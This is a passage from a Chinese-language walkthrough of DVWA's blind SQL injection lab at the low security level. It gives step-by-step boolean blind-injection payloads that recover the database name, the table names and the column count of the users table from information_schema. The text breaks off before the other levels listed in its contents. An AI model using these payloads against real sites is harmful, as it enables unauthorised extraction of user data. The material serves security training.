SQL Injection Blind
目录
一、low级别
二、Medium级别
三、High级别
四、Impossible级别
五、预防方法
一、low级别
注入点在输入框中,当输入正确时回显如下图
输入错误时的回显
根据回显不同进行布尔盲注,接下来判断注入类型
这里是字符型注入点
判断库名长度,命令:1' and length(database())=4 #
判断库名,命令:1' and ascii(substr(database(),x,1))=100
#让x的值递增可以遍历库名的每一个字母
得库名为dvwa,接下来爆表,首先判断表的个数,命令:1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #
有两个表,依次判断表名,首先判断第一个表的表名长度,命令:1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=9#
第一张表表名长度为9,判断表名:1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1), x,1))=y#
得第一个字母为g,变换x和y得值得第一个表名为guestbook,接下来判断第二张表,判断的方法和前面一样,只需要变换limit后面的值即可,得第二张表为users。查看users中的内容,因为它里面可能存放用户的相关信息。判断users中的字段数,命令:1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8#